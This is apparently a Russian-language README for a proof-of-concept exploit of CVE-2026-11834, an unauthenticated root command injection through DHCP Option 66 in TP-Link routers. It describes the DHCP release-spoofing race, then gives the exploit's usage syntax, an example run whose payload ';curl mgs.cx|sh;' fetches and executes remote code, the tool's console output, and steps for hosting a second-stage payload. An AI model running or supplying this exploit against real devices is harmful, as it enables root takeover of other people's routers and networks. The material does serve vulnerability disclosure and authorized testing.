
Доказательство концепции (PoC) для неаутентифицированного RCE через DHCP Option 66 в TP-Link (CVE-2026-11834)
TP-Link DHCP Option 66 неаутентифицированное RCE (CVE-2026-11834)
Уязвимость внедрения команд (CWE-78) в обработке DHCP Option 66 ("Имя TFTP-сервера") прошивки маршрутизаторов TP-Link позволяет неаутентифицированному злоумышленнику в том же сегменте сети выполнять произвольные команды с правами root. Когда устройство выступает в роли DHCP-клиента на своем WAN-интерфейсе, значение Option 66, возвращаемое в аренде, без очистки конкатенируется в команду оболочки tftp внутри libcmm.so. Пять функций формируют эту команду и передают её в util_execSystem(), который вызывает system(), поэтому специально сформированное значение Option 66 интерпретируется как ввод оболочки и выполняется с правами root.
Значение Option 66 усекается до 16 символов на устройстве, поэтому полезная нагрузка представляет собой минимальную команду fetch-and-execute (;curl <domain>|sh;), которая загружает более крупную вторую стадию по HTTP.
Злоумышленнику не нужно контролировать DHCP-сервер. Данное PoC соревнуется с легитимным сервером в сегменте: оно подделывает DHCP RELEASE от имени цели для очистки её привязки, ждет, пока цель повторно получит аренду, а затем отвечает на широковещательный запрос цели вредоносным /, содержащим полезную нагрузку, прежде чем легитимный сервер успеет ответить.
OFFERACKЭта Proof of Concept (PoC) была протестирована на TP-Link Archer C20 V6 (прошивка 0.9.1 Build 4.19, EU). Уязвимый путь кода присутствует в ряде маршрутизаторов TP-Link; смещения в памяти, адреса функций и поведение могут отличаться на других моделях или версиях прошивок.
Это PoC доставляет полезную нагрузку Option 66, которая выполняется с правами root на целевом устройстве. Запускайте это только на оборудовании, которое вам принадлежит или на тестирование которого у вас есть явное разрешение.
$ sudo python3 cve-2026-11834.py <target_ip> -i <interface> -s <dhcp_server_ip> -S <dhcp_server_mac> -p '<payload>'
| Argument | Description |
|---|---|
target_ip | Текущий IP-адрес целевого устройства |
-i, --interface | Сетевой интерфейс в сегменте цели |
-s, --server-ip | IP-адрес легитимного DHCP-сервера |
-S, --server-mac | MAC-адрес легитимного DHCP-сервера |
-p, --payload | Значение Option 66 (<=16 символов), например `;curl |
-t, --target-mac | MAC-адрес цели (автоматически определяется через ARP, если пропущен) |
-a, --attacker-ip | Server-id, рекламируемый в вредоносной аренде (по умолчанию IP-адрес интерфейса) |
Пример запуска:
$ sudo python3 cve-2026-11834.py 10.0.10.110 -i eth0 -s 10.0.10.254 -S 00:f2:8b:99:86:46 -p ';curl mgs.cx|sh;'
TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) - Race Attack
Target IP : 10.0.10.110
Target MAC : 3c:64:cf:7b:69:8b
DHCP Server : 10.0.10.254 (00:f2:8b:99:86:46)
Attacker IP : 10.0.10.5
Interface : eth0
Payload : ;curl mgs.cx|sh;
[*] Sending spoofed DHCP RELEASE for 10.0.10.110
[*] RELEASE sent. Waiting for target to re-acquire lease...
[!] Got DHCP REQUEST from 3c:64:cf:7b:69:8b, XID: 0x43edad72
[>] Sending malicious DHCP ACK...
[>] ACK sent. Payload delivered.
Хост полезной нагрузки обслуживает вторую стадию, которую устройство загружает и запускает. Например:
$ cat index.html
[second stage payload]
$ sudo python3 -m http.server 80